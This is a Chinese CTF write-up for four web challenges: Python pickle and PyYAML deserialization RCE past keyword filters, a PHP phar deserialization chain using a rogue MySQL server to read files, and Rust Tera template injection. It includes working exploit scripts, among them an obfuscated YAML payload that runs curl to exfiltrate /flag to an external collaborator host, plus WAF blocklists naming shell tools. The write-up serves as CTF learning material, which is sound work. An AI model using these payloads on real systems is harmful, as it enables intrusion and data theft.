const_python 自认为搭建了一个完美的web应用,不会有问题,很自信地在src存放了源码,应该不会有人能拿到/flag的内容。
访问/src拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import  builtinsimport  ioimport  sysimport  uuidfrom  flask import  Flask, request,jsonify,sessionimport  pickleimport  base64app = Flask(__name__) app.config['SECRET_KEY' ] = str (uuid.uuid4()).replace("-" , "" ) class  User :    def  __init__ (self, username, password, auth='ctfer'  ):         self .username = username         self .password = password         self .auth = auth password = str (uuid.uuid4()).replace("-" , "" ) Admin = User('admin' , password,"admin" ) @app.route('/'  def  index ():    return  "Welcome to my application"  @app.route('/login' , methods=['GET' , 'POST' ] def  post_login ():    if  request.method == 'POST' :         username = request.form['username' ]         password = request.form['password' ]         if  username == 'admin'  :             if  password == admin.password:                 session['username' ] = "admin"                  return  "Welcome Admin"              else :                 return  "Invalid Credentials"          else :             session['username' ] = username     return  
源码中发现还有东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 @app.route('/ppicklee' , methods=['POST' ] def  ppicklee ():    data = request.form['data' ]     sys.modules['os' ] = "not allowed"      sys.modules['sys' ] = "not allowed"      try :         pickle_data = base64.b64decode(data)         for  i in  {"os" , "system" , "eval" , 'setstate' , "globals" , 'exec' , '__builtins__' , 'template' , 'render' , '\\' ,                  'compile' , 'requests' , 'exit' ,  'pickle' ,"class" ,"mro" ,"flask" ,"sys" ,"base" ,"init" ,"config" ,"session" }:             if  i.encode() in  pickle_data:                 return  i+" waf !!!!!!!"          pickle.loads(pickle_data)         return  "success pickle"      except  Exception as  e:         return  "fail pickle"  @app.route('/admin' , methods=['POST' ] def  admin ():    username = session['username' ]     if  username != "admin" :         return  jsonify({"message" : 'You are not admin!' })     return  "Welcome Admin"  @app.route('/src'  def  src ():    return   open ("app.py" , "r" ,encoding="utf-8" ).read() if  __name__ == '__main__' :
一眼看出来是pickle反序列化进行rce,但是这里过滤了这么多
1 2 3 4 for  i in  {"os" , "system" , "eval" , 'setstate' , "globals" , 'exec' , '__builtins__' , 'template' , 'render' , '\\' ,                 'compile' , 'requests' , 'exit' ,  'pickle' ,"class" ,"mro" ,"flask" ,"sys" ,"base" ,"init" ,"config" ,"session" }:             if  i.encode() in  pickle_data:                 return  i+" waf !!!!!!!"  
这时候该如何绕过呢?
看wp然后搜了一下subprocess模块,发现这是os.system的代替品,刚好也可以拿来绕过了
语法
1 subprocess.run(args, *, stdin=None, input=None, stdout=None, stderr=None, capture_output=False, shell=False, cwd=None, timeout=None, check=False, encoding=None, errors=None, text=None, env=None, universal_newlines=None, **other_popen_kwargs) 
那我们用reduce方法去打pickle反序列化,不过这里的话是无回显的,这里需要注意
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import  pickleimport  subprocessimport  base64import  requestsurl = "http://a7bad090-1104-44ff-8d73-26fec859fa88.node5.buuoj.cn:81/ppicklee"  class  Test :    def  __reduce__ (self ):                  return  (subprocess.run, (["bash" , "-c" , "ls / > app.py" ],), {"shell" : True }) test = Test() pickle_data = pickle.dumps(test) pickle_data_base64 = base64.b64encode(pickle_data).decode('utf-8' ) print (pickle_data)print (pickle_data_base64)data = {     "data"  : pickle_data_base64, } r = requests.post(url, data=data) print (r.text)
然后我们访问/src
然后cat一下flag就行
yaml_matser 看一下附件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import  osimport  reimport  yamlfrom  flask import  Flask, request, jsonify, render_templateapp = Flask(__name__, template_folder='templates' ) UPLOAD_FOLDER = 'uploads'  os.makedirs(UPLOAD_FOLDER, exist_ok=True ) def  waf (input_str ):    blacklist_terms = {'apply' , 'subprocess' ,'os' ,'map' , 'system' , 'popen' , 'eval' , 'sleep' , 'setstate' ,                        'command' ,'static' ,'templates' ,'session' ,'&' ,'globals' ,'builtins'                         'run' , 'ntimeit' , 'bash' , 'zsh' , 'sh' , 'curl' , 'nc' , 'env' , 'before_request' , 'after_request' ,                        'error_handler' , 'add_url_rule' ,'teardown_request' ,'teardown_appcontext' ,'\\u' ,'\\x' ,'+' ,'base64' ,'join' }     input_str_lower = str (input_str).lower()     for  term in  blacklist_terms:         if  term in  input_str_lower:             print (f"Found blacklisted term: {term} " )             return  True      return  False  file_pattern = re.compile (r'.*\.yaml$' ) def  is_yaml_file (filename ):    return  bool (file_pattern.match (filename)) @app.route('/'  def  index ():    return  '''      Welcome to DASCTF X 0psu3     <br>     Here is the challenge <a href="/upload">Upload file</a>     <br>     Enjoy it <a href="/Yam1">Yam1</a>     ''' @app.route('/upload' , methods=['GET' , 'POST' ] def  upload_file ():    if  request.method == 'POST' :         try :             uploaded_file = request.files['file' ]             if  uploaded_file and  is_yaml_file(uploaded_file.filename):                 file_path = os.path.join(UPLOAD_FOLDER, uploaded_file.filename)                 uploaded_file.save(file_path)                 return  jsonify({"message" : "uploaded successfully" }), 200              else :                 return  jsonify({"error" : "Just YAML file" }), 400          except  Exception as  e:             return  jsonify({"error" : str (e)}), 500      return  render_template('upload.html' ) @app.route('/Yam1' , methods=['GET' , 'POST' ] def  Yam1 ():    filename = request.args.get('filename' ,'' )     if  filename:         with  open (f'uploads/{filename} .yaml' , 'rb' ) as  f:             file_content = f.read()         if  not  waf(file_content):             test = yaml.load(file_content)             print (test)     return  'welcome'  if  __name__ == '__main__' :    app.run() 
先理解一下源码,其实就是需要我们上传一个yaml文件去执行RCE,先看看过滤了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def  waf (input_str ):    blacklist_terms = {'apply' , 'subprocess' ,'os' ,'map' , 'system' , 'popen' , 'eval' , 'sleep' , 'setstate' ,                        'command' ,'static' ,'templates' ,'session' ,'&' ,'globals' ,'builtins'                         'run' , 'ntimeit' , 'bash' , 'zsh' , 'sh' , 'curl' , 'nc' , 'env' , 'before_request' , 'after_request' ,                        'error_handler' , 'add_url_rule' ,'teardown_request' ,'teardown_appcontext' ,'\\u' ,'\\x' ,'+' ,'base64' ,'join' }     input_str_lower = str (input_str).lower()     for  term in  blacklist_terms:         if  term in  input_str_lower:             print (f"Found blacklisted term: {term} " )             return  True      return  False  
其实过滤的还是蛮多的,很多命令执行函数都被过滤掉了
之前我没有接触过yaml反序列化,做之前还得去学一下,后面发现好像跟pickle没啥太大的区别
这里绕过的话直接用编码去绕过
需要上传一个yml文件,然后通过Yam1函数中的load去实现反序列化进行rce,直接写脚本一把梭
注意这里是无回显的,还得打curl外带或者反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import  requestsexp = '__import__("os").system("curl -d @/flag havtes3pel3xmey9c56cvzw1isojcc01.oastify.com")'  payload = b"""  !!python/object/new:type args:   - exp   - !!python/tuple []   - {"extend": !!python/name:exec } listitems: \"exec(bytes([[j][0]for(i)in[range(86)][0]for(j)in[range(256)][0]if[i]in[[0]]and[j]in[[95]]or[i]in[[1]]and[j]in[[95]]or[i]in[[2]]and[j]in[[105]]or[i]in[[3]]and[j]in[[109]]or[i]in[[4]]and[j]in[[112]]or[i]in[[5]]and[j]in[[111]]or[i]in[[6]]and[j]in[[114]]or[i]in[[7]]and[j]in[[116]]or[i]in[[8]]and[j]in[[95]]or[i]in[[9]]and[j]in[[95]]or[i]in[[10]]and[j]in[[40]]or[i]in[[11]]and[j]in[[34]]or[i]in[[12]]and[j]in[[111]]or[i]in[[13]]and[j]in[[115]]or[i]in[[14]]and[j]in[[34]]or[i]in[[15]]and[j]in[[41]]or[i]in[[16]]and[j]in[[46]]or[i]in[[17]]and[j]in[[115]]or[i]in[[18]]and[j]in[[121]]or[i]in[[19]]and[j]in[[115]]or[i]in[[20]]and[j]in[[116]]or[i]in[[21]]and[j]in[[101]]or[i]in[[22]]and[j]in[[109]]or[i]in[[23]]and[j]in[[40]]or[i]in[[24]]and[j]in[[34]]or[i]in[[25]]and[j]in[[99]]or[i]in[[26]]and[j]in[[117]]or[i]in[[27]]and[j]in[[114]]or[i]in[[28]]and[j]in[[108]]or[i]in[[29]]and[j]in[[32]]or[i]in[[30]]and[j]in[[45]]or[i]in[[31]]and[j]in[[100]]or[i]in[[32]]and[j]in[[32]]or[i]in[[33]]and[j]in[[64]]or[i]in[[34]]and[j]in[[47]]or[i]in[[35]]and[j]in[[102]]or[i]in[[36]]and[j]in[[108]]or[i]in[[37]]and[j]in[[97]]or[i]in[[38]]and[j]in[[103]]or[i]in[[39]]and[j]in[[32]]or[i]in[[40]]and[j]in[[104]]or[i]in[[41]]and[j]in[[97]]or[i]in[[42]]and[j]in[[118]]or[i]in[[43]]and[j]in[[116]]or[i]in[[44]]and[j]in[[101]]or[i]in[[45]]and[j]in[[115]]or[i]in[[46]]and[j]in[[51]]or[i]in[[47]]and[j]in[[112]]or[i]in[[48]]and[j]in[[101]]or[i]in[[49]]and[j]in[[108]]or[i]in[[50]]and[j]in[[51]]or[i]in[[51]]and[j]in[[120]]or[i]in[[52]]and[j]in[[109]]or[i]in[[53]]and[j]in[[101]]or[i]in[[54]]and[j]in[[121]]or[i]in[[55]]and[j]in[[57]]or[i]in[[56]]and[j]in[[99]]or[i]in[[57]]and[j]in[[53]]or[i]in[[58]]and[j]in[[54]]or[i]in[[59]]and[j]in[[99]]or[i]in[[60]]and[j]in[[118]]or[i]in[[61]]and[j]in[[122]]or[i]in[[62]]and[j]in[[119]]or[i]in[[63]]and[j]in[[49]]or[i]in[[64]]and[j]in[[105]]or[i]in[[65]]and[j]in[[115]]or[i]in[[66]]and[j]in[[111]]or[i]in[[67]]and[j]in[[106]]or[i]in[[68]]and[j]in[[99]]or[i]in[[69]]and[j]in[[99]]or[i]in[[70]]and[j]in[[48]]or[i]in[[71]]and[j]in[[49]]or[i]in[[72]]and[j]in[[46]]or[i]in[[73]]and[j]in[[111]]or[i]in[[74]]and[j]in[[97]]or[i]in[[75]]and[j]in[[115]]or[i]in[[76]]and[j]in[[116]]or[i]in[[77]]and[j]in[[105]]or[i]in[[78]]and[j]in[[102]]or[i]in[[79]]and[j]in[[121]]or[i]in[[80]]and[j]in[[46]]or[i]in[[81]]and[j]in[[99]]or[i]in[[82]]and[j]in[[111]]or[i]in[[83]]and[j]in[[109]]or[i]in[[84]]and[j]in[[34]]or[i]in[[85]]and[j]in[[41]]]))\"""" url = "http://node5.buuoj.cn:26378/"  r1=requests.post(url + "/upload" , files={'file' : ('poc1.yaml' , payload, 'application/octet-stream' )}) print (r1.text)r2 = requests.get(url + "/Yam1?filename=poc1" ) print (r2.text)
strange_php 附件有很多东西,可以放seay里面去审计一下
然后我们看一下源码
在登录和注册页面的源码中对sql语句都是进行了一个预处理操作,估计sql打不通,我们注册登录进去看看
welcome.php的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <?php header ('Content-Type: text/html; charset=utf-8' );session_start ();require_once  'PDO_connect.php' ;require_once  'User.php' ;require_once   'UserMessage.php' ;if  (!isset ($_SESSION ['user_id' ])) {   header ("Location: index.html" );    exit ; } $Message  = new  UserMessage ();$userMessage  = new  UserMessage ();$database  = new  PDO_connect ();$database ->init ();$db  = $database ->get_connection ();if  (isset ($_POST ['action' ])) {    $action  = $_POST ['action' ];     echo  $action ;     switch  ($action ) {         case  'message' :             echo  "write messageing" ;             $decodedMessage  = base64_decode ($_POST ['encodedMessage' ]);                          $msg  = $userMessage ->writeMessage ($decodedMessage );             if ($msg ===false ){                 echo  "写入失败" ;                 break ;             }             $filePath  = $userMessage ->get_filePath ();             $_SESSION ['message_path' ] = $filePath ;             echo  "留言已写入: " . $userMessage ->get_filePath ();             break ;             case  'editMessage' :                 $decodedEditMessage  = base64_decode ($_POST ['encodedEditMessage' ]);                 if (!isset ($_SESSION ['message_path' ])){                     break ;                 }                 $msg  = $userMessage ->editMessage ($_SESSION ['message_path' ],$decodedEditMessage );                 if ($msg ){                     echo  "留言已成功更改" ;                 }                 else {                     echo  "操作失败,请重新尝试" ;                 }                 break ;         case  'delete' :             $message  = $_POST ['message_path' ]?$_POST ['message_path' ]:$_SESSION ['message_path' ];             $msg  = $userMessage ->deleteMessage ($message );             if ($msg ){                 echo  "留言已成功删除" ;             }             else {                 echo  "操作失败,请重新尝试" ;             }             break ;             case  'clean' :                 exec ('rm log/*' );                 exec ('rm txt/*' );     } } ?> 
找找可控的参数吧
先看写留言部分
这里的话有一个writeMessage方法,并且$decodedMessage可控,我们跟进这个方法看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public  function  writeMessage ($message          $a = file_put_contents ($this ->filePath, $message );     if  ($a  === false ) {         return  false ;     }     return  true ; } 	| 	| public  function  __construct (        $this ->filePath = $this ->generateFileName ();     } 	|     | public  function  generateFileName (        $timestamp  = microtime (true );         $hash  = md5 ($timestamp );         $fileName  = "./txt/" .$hash  . ".txt" ;         return  $fileName ;     } 
这里的话文件路径是不可控的,但是这个文件内容最终是会被base64解码的,但生成的文件是txt文件,打xss貌似行不通
编辑留言部分也一样没得可用的点,然后看删除留言部分
这个message_path是可控的,我们跟进deleteMessage方法看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 public  function  deleteMessage ($path     $path  = $path .".txt" ;          if  (file_exists ($path )) {         $msg  = unlink ($path );         if  ($msg  === false ) {             return  false ;         }         return  true ;     }     return  false ; } 
unlink函数,估计是可以打phar反序列化的,并且message_path可控吗,那该怎么打呢?找找危险函数
1 2 3 4 5 6 7 8 public  function  __set ($name , $value     $this ->$name  = $value ;        $a  =  file_get_contents ($this ->filePath)."</br>" ;     file_put_contents ("/var/www/html/log/" .md5 ($this ->filePath).".txt" , $a ); } 
这里的话有一个file_get_contents函数,看看能不能实现任意文件读取,但这里的前提是filePath可控
怎么触发__set()呢?
将数据写入不可访问或者不存在的属性,即设置一个类的成员变量,也就是说赋值时触发这个魔术方法
但是如果是在UserMessage类的话显然不可能,我们看PDO_connect类
到这里我就没找到触发的方法,然后看大佬的wp写的是
https://www.cnblogs.com/gxngxngxn/p/18620905 
一开始没看明白,后面问了师傅才问明白
PDO::ATTR_DEFAULT_FETCH_MODE=262152的作用是把sql查询的结果封装成一个对象,而且sql注入第一列的结果是对象的名字
然后入口是在User.php::log(),这里可以调用到pdo中的get_connection,这里就是我们链子的入口
但是这里没有文件上传的点,所以关键点在于我们写留言的地方,我们需要将phar文件的内容编码然后传入,去生成txt文件
然后我们写链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php class  User     private  $conn ;     private  $table  = 'users' ;     public  $id ;     public  $username ="UserMessage" ;     private  $password ="aaaa" ;     public  $created_at ;     public  function  __construct (         $this ->conn = new  PDO_connect ();     } } class  PDO_connect     private  $pdo ;     public  $con_options  = array (         "dsn" =>"mysql:host=124.223.25.186:3306;dbname=users;charset=utf8" ,         'host' =>'124.223.25.186' ,         'port' =>'3306' ,         'user' =>'joker' ,         'password' =>'joker' ,         'charset' =>'utf8' ,         'options' =>array (PDO::ATTR_DEFAULT_FETCH_MODE =>262152 ,             PDO::ATTR_ERRMODE  => PDO::ERRMODE_EXCEPTION )     );     public  $smt ; } $a  = new  User ();$phar  = new  phar ('test.phar' );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER();?>" );$phar ->setMetadata ($a );$phar ->addFromString ("flag.txt" ,"flag" );$phar ->stopBuffering ();$file  = file_get_contents ('test.phar' );echo  urlencode (base64_encode ($file ));?> 
然后我们需要在我们的vps中新建用户joker,并且创建一个users数据库,并需要设置一个filePath列
mysql命令行新建用户
1 2 3 CREATE USER 'joker'@'%' IDENTIFIED BY 'joker'; GRANT ALL PRIVILEGES ON users.* TO 'joker'@'%'; FLUSH PRIVILEGES; 
然后我们用phpmyadmin可视化控制数据库,这样更好操作
因为在我们的payload中如果出现phar反序列化的话,会尝试连接我们的数据库,那么就会通过我们设置的filePath去进行任意文件读取
然后删除后触发phar,访问log/0bc7be346d4df269543565b6b7cd231a.txt拿到flag
西湖论剑邀请函获取器 其实能测出来是ssti,但是并不知道是什么框架的,一直以为是flask框架的,测了好久
这里可以看到是存在ssti的,但是并不是我学过的twig,flask的
以为是过滤了,但是一直没绕过去,看了提示知道是RUST的
然后rust下tera框架的注入,但是只写了如何读取环境变量
payload
1 {{ get_env(name="FLAG") }}